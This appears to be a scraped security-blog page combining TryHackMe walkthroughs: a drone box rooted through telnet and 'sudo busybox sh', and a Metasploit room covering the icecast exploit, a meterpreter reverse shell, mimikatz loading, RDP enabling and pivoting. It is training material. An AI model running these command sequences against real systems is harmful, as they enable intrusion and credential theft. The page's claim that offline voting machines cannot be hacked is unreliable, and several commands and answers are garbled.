    EVM(Electronic Voting Machines) which are used many country to contest their elections. Even in India EVMs are used to contest the election. The EVMs can't be hacked as they aren't connected to any other devices or network. No internet, no Bluetooth, nothing. Many a times many political parties have questioned the authenticity of the EVM but none of them were present when the election commission of India called them to hack the EVM. Any device can only be hacked if it's connected to any network or to some other device. instashell



    Electronic Voting is the standard means of conducting elections using Electronic Voting Machines, sometimes called "EVMs" in India.[1][2] The use of EVMs and electronic voting was developed and tested by the state-owned Electronics Corporation of India and Bharat Electronics in the 1990s. They were introduced in Indian elections between 1998 and 2001, in a phased manner. The electronic voting machines have been used in all general and state assembly elections of India since 2004.



    Disclaimer



    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)

     


  • TryHackMe bebop Drone Hacking







    The communication with the drone happens over UDP, which is short for User Datagram Protocol. UDP is one of the dominant transport-layer protocols in use today. The other is TCP.


    Contents



    1 Enumeration:
    2 Exploitation:
    3 Privilege Escalation:


    Bebop
    is a quick box that exemplifies exactly how insecure some drone operating systems are. This box shouldn’t take very long to root — it’s really not particularly challenging (which is slightly worrying given it’s based off real drone software). Of much more interest is the overarching concept: drone hacking. If you haven’t already watched the video embedded into the THM room, I would highly recommend it; it’s really interesting (and hilarious in places). I’ll include an embed of the video below, before properly beginning the write-up: TryHackMe bebop Drone Hacking




    Enumeration with the Nmap:


    As per normal, the first thing we’re going to do with this box is run an nmap scan. A basic service scan is more than enough for our purposes:



    nmap -A -sC -sV -T4 -Pn -p- 10.10.86.14





    We could also have used the -O switch to try and identify the operating system (which you’re welcome to try), but for me, nmap fails to identify it.


    As it is, from the two ports that are open we can make a pretty solid guess that the OS is FreeBSD. Let’s wait a bit before confirming that though.


    We have two ports open here: port 22 (SSH) and port 23 (telnet). These two services do essentially the same thing (giving you the ability to remotely access a command line on the machine), but SSH is significantly more secure; so, funnily enough, we’re trying telnet first.

     

    #1 What is the User Flag?

     

    Exploitation:



    At the start of the room we’re given a codename: pilot. Let’s try logging in with that:



    telnet -l pilot <remote-ip>


    OR

    telnet IP








    #2 What is the Root Flag?


    Privilege Escalation:


    Pretty much the first thing you usually do when aiming for privesc on a Linux computer is look to see what you can run as sudo (i.e. with Root/Administrator privileges). FreeBSD is no different. Run sudo -l and see if we can run anything as root:


    sudo -l







    We can run BusyBox as root. In case you haven’t come across it before, BusyBox essentially amalgamates lots of different functions into a single executable file. It’s often used in embedded systems to reduce the disk space and memory required. Let’s have a look to see which commands we can execute through BusyBox on this system:



    busybox






    sh is in the defined functions listsh in defined functions list

    We can run sh through BusyBox. sh will give us a shell, meaning that if we run BusyBox as root (which we can do with our sudo permissions), we get a root shell!




    sudo /usr/local/bin/busybox sh   


    whoami

    cat root.txt

    OR

    exit






    And there we have it. We got root on a drone!



    busybox cat /root/root.txt





    And there we have it. We got root on a drone!





    Quiz Time



    #1 What is the low privilleged user?

    ls -l








    Ans :- pilot



    #2 What binary was used to escalate privillages?
    Ans :- busybox



    #3 What service was used to gain an initial shell?

    Ans :- telnet




    #4 What Operating System does the drone run?

    uname -a 







    Ans :- FreeBSD



    All too soon, that’s us completed Bebop — our drone-hacking extravaganza draws to a close. Kinda scary how easy some of our eyes in the sky are to hack.



    Video Tutorial :- Soon...

     

    Disclaimer



    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)






  • What is Hacking and what is Ethical Hacking, is it Legal or Illegal.






    What is Hacking and what is Ethical Hacking, is it Legal or Illegal.
    What is Hacking? I welcome you to my blog. guys, I try to make the post written by me hundred percent correct. So that you can get the correct information and make it easy to read. Today's topic is related to hacking. So guys, today we will know what hacking is. What are the types of hackers. How is hacking done?



    What is Hacking? 



    I welcome you to my blog. Friends, I try to make the post written by me hundred percent correct. So that you can get the correct information and make it easy to read. Bahral, ​​we go to our topic. Today's topic is related to hacking. So friends, today we will know what hacking is. What are the types of hackers. How is hacking done? What is Hacking and what is Ethical Hacking, is it Legal or Illegal.


    Nowadays the use of Computer and Smartphone is increasing very fast. It is almost impossible for people to do their work without Smartphone and Computer. Whether it is own business or working in a company / bank.


    Computer is used everywhere, computer is used for doing small work.


    Many problems have to be faced while doing the same work, in such a situation, when we are talking about computers, then the matter of cyber crime also becomes necessary.


    Friends, you must have heard about Cyber ​​Crime. If you have not heard, then I want to tell that Cyber ​​Crime is a type of crime in which hackers steal personal details or data of others using computers. Due to which people suffer heavy losses. And blackmail them and grab lakhs of rupees. Due to cyber crime many organizations have to pay crores of rupees every year due to their data being stolen.


    In the computer world, where the crime is not taking the name of stopping, how to protect the people of Longo from the files kept in their -2 computers and the data of the company and Bussiness from being hackers. So friends, we will give you the answer to this question in this post. So, you must read this article about






    what is hacking?



    Hacking means to find a weakness in a computer's system and take advantage of that weakness and hack that system. The person or person who does this Hacking, we call it Hacker. A Hacker has all kinds of knowledge related to computer, that is why he can easily hack Valunerbility from someone's computer system. On hearing the name, we realize that this is a wrong thing.


    Types Of Hacking


    Network Hacking

    This type of Hacking means that it receives all the information over the Hacker Network itself, for which many tools are available such as -Telnet, NS, Lookup, Ping, tracert, Netstat etc. Its main purpose is only to reach the network system and its operation.
    Website Hacking

    In website hacking illegally gaining control over the association of its web server and website, ie Database or Interface.

    Email Hacking


    In email hacking, Hacker creates a duplicate Phishing page, reaches the user to that phishing page, if the user puts information in it then the Email ID gets hacked. It is used in illegal works in an unauthorized manner.

    Ethical Hacking


    This type of Hacking goes into many ethical tasks. In this Hacking, First Owner's Permission is taken by hacker to find Weakness in the system and Owner is helped in removing these Weakness.


    Password Hacking 

     
    In this type of Hacking, passwords are cracked in an unauthorized manner, in which the system is hacked by stealing secret passwords kept in the computer.

    Computer System Hacking


    In this type of hacking, the hacker knows the ID and password of a computer's system and uses the computer illegally by sequre connection to it.

    He deletes 2 files sitting at one place and also steals the data. hacking news


    See Also


    For More information :- Click Here

    CEH v10 ( website ) :- Click Here

    CEH V10 ( Videos ) :- Click Here

    CEH V10 ( Videos ) :- Click Here



    What are the types of hackers?



    1. Black Hat Hacker

    Black Hat Hacker illegally gain the ID and password of your website, Computer System, Android Smartphone, Facebook etc. without your permission.

    And assert their authority over the information kept in them. Whether he deletes them or demands a ransom from the owner, Black Hat Hacker is very bloodthirsty. They do not hesitate at all to harm others. Ethical Hacking, is it Legal or Illegal.



    2. White Hat Hacker

    White Hat Hacker does hacking in an ethical way. Hackers of this category provide protection to our system, website and smartphone from being hacked. Such hackers take permission from the owner of the system and help us in protecting from the attacker. White hat hacker check the security of our website or system. This tells whether the system is a sequer or not. Finds weakness and provides sequrity. It is also called ethical hacker.



    3. Gray Hat Hacker
    Gray Hat Hacker is actually in a state of confusion. They may or may not play with anyone without permission. By the way, it can hack anyone's system to improve their skills, but they do not cause any harm but they cannot be called a white hat hacker and not a black hat hacker.





    Disclaimer


    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)




  • TryHackeMe RP : Metasploit walkthrough



    TryHackeMe RP  Metasploit walkthrough




    The platform develops virtual classrooms that not only allow users to deploy training environments with the click of a button, but also reinforce learning by adding a question-answer approach. Its a comfortable experience to learn using pre-designed courses which include virtual machines (VM) hosted in the cloud.

    tryhackme rp Metasploit


    While using a question-answer model does make learning easier, TryHackMe allows users to create their own virtual classrooms to teach particular topics enabling them to become teachers. This not only provides other users with rich and varied content, but also helps creators reinforce their understanding of fundamental concepts.






     tryhackme rp nmap






    TryHackMe :- Click Here


    TryHackMe has recently had their 500th user sign up to access varied content from fundamentals of web security to basic reverse engineering. Their self contained virtual classrooms make it easy for users to focus on a particular area by aggregating the necessary information. They want users to focus on the learning instead of spending time scouring the internet for resources! They are a relatively new company, so they are still in the process of creating custom VMs for learning purposes, but more content is being released weekly and their newsletter gives users an insight to whats being released on a weekly basis ahead of time. TryHackeMe RP : Metasploit walkthrough





     tryhackme rp nmap





    Question:


    [Task 1] Intro

    [Task 2] Initializing…


    1) First things first, we need to initialize the database! Let’s do that now with the command: msfdb init





       msfdb init    


    I already initialzed database


    TryHackeMe RP : Metasploit walkthrough



    2) Before starting Metasploit, we can view some of the advanced options we can trigger for starting the console. Check these out now by using the command: msfconsole -h


      msfconsole -h  


    TryHackeMe RP : Metasploit walkthrough




    3) We can start the Metasploit console on the command line without showing the banner or any startup information as well. What switch do we add to msfconsole to start it without showing this information? This will include the ‘-’


        ANS: -q    



    4) Once the database is initialized, go ahead and start Metasploit via the command: msfconsole


      msfconsole 




    TryHackeMe RP : Metasploit walkthrough




    5)  After Metasploit has started, let’s go ahead and check that we’ve connected to the database. Do this now with the command: db_status


      db_status 



    TryHackeMe RP : Metasploit walkthrough





    6) Cool! We’ve connected to the database, which type of database does Metasploit 5 use?


      ANS: postgresql 



     ---------------------



     [Task 3] Rock ’em to the Core [Commands]



    Let’s go ahead and start exploring the help menu. On the Metasploit prompt (where we’ll be at after we start Metasploit using msfconsole), type the command: help


      help  



    2) The help menu has a very short one-character alias, what is it?



       ?   



    3)  Finding various modules we have at our disposal within Metasploit is one of the most common commands we will leverage in the framework. What is the base command we use for searching?



       search  



    4) Once we’ve found the module we want to leverage, what command we use to select it as the active module?



       use  



    5) How about if we want to view information about either a specific module or just the active one we have selected?



       info  




    6) Metasploit has a built-in netcat-like function where we can make a quick connection with a host simply to verify that we can ‘talk’ to it. What command is this?


      connect 



    7) Entirely one of the commands purely utilized for fun, what command displays the motd/ascii art we see when we start msfconsole (without -q flag)?



      banner  



    TryHackeMe RP : Metasploit walkthrough



    8)  We’ll revisit these next two commands shortly, however, they’re two of the most used commands within Metasploit. First, what command do we use to change the value of a variable?


      set  



    9) Metasploit supports the use of global variables, something which is incredibly useful when you’re specifically focusing on a single box. What command changes the value of a variable globally?


      setg   



    10)  Now that we’ve learned about to change the value of variables, how do we view them? There are technically several answers to this question, however, I’m looking for a specific three-letter command which is used to view the value of single variables.


      get  



    TryHackeMe RP : Metasploit walkthrough





    11) How about changing the value of a variable to null/no value?



      unset 



    12) When performing a penetration test it’s quite common to record your screen either for further review or for providing evidence of any actions taken. This is often coupled with the collection of console output to a file as it can be incredibly useful to grep for different pieces of information output to the screen. What command can we use to set our console output to save to a file?



       spool 



    13) Leaving a Metasploit console running isn’t always convenient and it can be helpful to have all of our previously set values load when starting up Metasploit. What command can we use to store the settings/active datastores from Metasploit to a settings file? This will save within your msf4 (or msf5) directory and can be undone easily by simply removing the created settings file.


       
      save  


      ----------------

     

    [Task 4] Modules for Every Occasion!



    1) Easily the most common module utilized, which module holds all of the exploit code we will use?


      exploit 



    2) Used hand in hand with exploits, which module contains the various bits of shellcode we send to have executed following exploitation?


       payload  



    3)  Which module is most commonly used in scanning and verification machines are exploitable? This is not the same as the actual exploitation of course.


       auxiliary  




    4)  One of the most common activities after exploitation is looting and pivoting. Which module provides these capabilities?


       post   



    5)  Commonly utilized in payload obfuscation, which module allows us to modify the ‘appearance’ of our exploit such that we may avoid signature detection?


       encoder 



    6) Last but not least, which module is used with buffer overflow and ROP attacks?


      NOP  



    7)  Not every module is loaded in by default, what command can we use to load different modules?


       load  



    -------------

    [Task 5] Move that shell!



    1) Metasploit comes with a built-in way to run nmap and feed it’s results directly into our database. Let’s run that now by using the command ‘db_nmap -sV BOX-IP’


       db_nmap -sV <ip>  





    TryHackeMe RP : Metasploit walkthrough






    2. What service does nmap identify running on port 135?


      ANS: msrdp 




    3. Let’s go ahead and see what information we have collected in the database. Try typing the command ‘hosts’ into the msfconsole now.


      hosts  



    TryHackeMe RP : Metasploit walkthrough



    4)  How about something else from the database, try the command ‘services’ now.




      services 



    TryHackeMe RP : Metasploit walkthrough





    5) One last thing, try the command ‘vulns’ now. This won’t show much at the current moment, however, it’s worth noting that Metasploit will keep track of discovered vulnerabilities. One of the many ways the database can be leveraged quickly and powerfully.


      vulns 



    6)  Now that we’ve scanned our victim system, let’s try connecting to it with a Metasploit payload. First, we’ll have to search for the target payload. In Metasploit 5 (the most recent version at the time of writing) you can simply type ‘use’ followed by a unique string found within only the target exploit. For example, try this out now with the following command ‘use icecast’. What is the full path for our exploit that now appears on the msfconsole prompt? *This will include the exploit section at the start



      use icecast  




    TryHackeMe RP : Metasploit walkthrough



       ANS: exploit/windows/http/icecast_header 
     



    7) While that use command with the unique string can be incredibly useful that’s not quite the exploit we want here. Let’s now run the command ‘search multi/handler’. What is the name of the column on the far left side of the console that shows up next to ‘Name’? Go ahead and run the command ‘use NUMBER_NEXT_TO exploit/multi/handler` wherein the number will be what appears in that far left column (typically this will be 4 or 5). In this way, we can use our search results without typing out the full name/path of the module we want to use.




      search multi/handler  



    TryHackeMe RP : Metasploit walkthrough



      ANS: # 



    8)  Now type the command ‘use NUMBER_FROM_PREVIOUS_QUESTION’. This is the short way to use modules returned by search results.



      use 4  



    9) Next, let’s set the payload using this command ‘set PAYLOAD windows/meterpreter/reverse_tcp’. In this way, we can modify which payloads we want to use with our exploits. Additionally, let’s run this command ‘set LHOST YOUR_IP_ON_TRYHACKME’. You might have to check your IP using the command ‘ip addr’, it will likely be your tun0 interface.


      set PAYLOAD windows/meterpreter/reverse_tcpset 


       LHOST tun0    



    10) Let’s go ahead and return to our previous exploit, run the command `use icecast` to select it again.


      use icecast  



    11)  One last step before we can run our exploit. Run the command ‘set RHOST BOX_IP’ to tell Metasploit which target to attack.



      set RHOST <box_ip> 



    12) Once you’re set those variables correctly, run the exploit now via either the command ‘exploit’ or the command ‘run -j’ to run this as a job.


       run -j  




    13)  Once we’ve started this, we can check all of the jobs running on the system by running the command `jobs`

      jobs  


    14) After we’ve established our connection in the next task, we can list all of our sessions using the command `sessions`. Similarly, we can interact with a target session using the command `sessions -i SESSION_NUMBER`


       sessions   

       session 1  



    -------------


    [Task 6] We’re in, now what?



    1) First things first, our initial shell/process typically isn’t very stable. Let’s go ahead and attempt to move to a different process. First, let’s list the processes using the command ‘ps’. What’s the name of the spool service?

       ps  






    TryHackeMe RP : Metasploit walkthrough





        ANS: spoolsv.exe   




    2) Let’s go ahead and move into the spool process or at least attempt to! What command do we use to transfer ourselves into the process? This won’t work at the current time as we don’t have sufficient privileges but we can still try!



       migrate -N spoolsv.exe  




    3) Well that migration didn’t work, let’s find out some more information about the system so we can try to elevate. What command can we run to find out more information regarding the current user running the process we are in?


      getuid  



    4)  How about finding more information out about the system itself?



      sysinfo 




    5. This might take a little bit of googling, what do we run to load mimikatz (more specifically the new version of mimikatz) so we can use it?



         load kiwi     



    6)  Let’s go ahead and figure out the privileges of our current user, what command do we run?



       getprivs  



    7)  What command do we run to transfer files to our victim computer?


       upload  



    8)  How about if we want to run a Metasploit module?


       run   



    9) A simple question but still quite necessary, what command do we run to figure out the networking information and interfaces on our victim?


       ipconfig  




    10) Let’s go ahead and run a few post modules from Metasploit. First, let’s run the command `run post/windows/gather/checkvm`. This will determine if we’re in a VM, a very useful piece of knowledge for further pivoting.




       run post/windows/gather/checkvm 




    11) Next, let’s try: `run post/multi/recon/local_exploit_suggester`. This will check for various exploits which we can run within our session to elevate our privileges. Feel free to experiment using these suggestions, however, we’ll be going through this in greater detail in the room `Ice`.



       run post/multi/recon/local_exploit_suggester  



    12) Finally, let’s try forcing RDP to be available. This won’t work since we aren’t administrators, however, this is a fun command to know about: `run post/windows/manage/enable_rdp`



      run post/windows/manage/enable_rdp  


    13. One quick extra question, what command can we run in our meterpreter session to spawn a normal system shell?


        shell  




    ---------------


    [Task 7] Makin’ Cisco Proud




    1) Let’s go ahead and run the command `run autoroute -h`, this will pull up the help menu for autoroute. What command do we run to add a route to the following subnet: 172.18.1.0/24? Use the -n flag in your answer.



      run autoroute -h  



       run autoroute -s 172.18.1.0 -n 255.255.255.0  




    2) Additionally, we can start a socks4a proxy server out of this session. Background our current meterpreter session and run the command `search server/socks4a`. What is the full path to the socks4a auxiliary module?



       search server/socks4a  



      ANS: auxiliary/server/socks4a  
     


    3)  Once we’ve started a socks server we can modify our /etc/proxychains.conf file to include our new server. What command do we prefix our commands (outside of Metasploit) to run them through our socks4a server with proxychains?



      proxychains  


    TryHackeMe RP : Metasploit walkthrough





     ----------------





    Disclaimer

    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal


    Video Tutorial :-  



         




    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)




  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.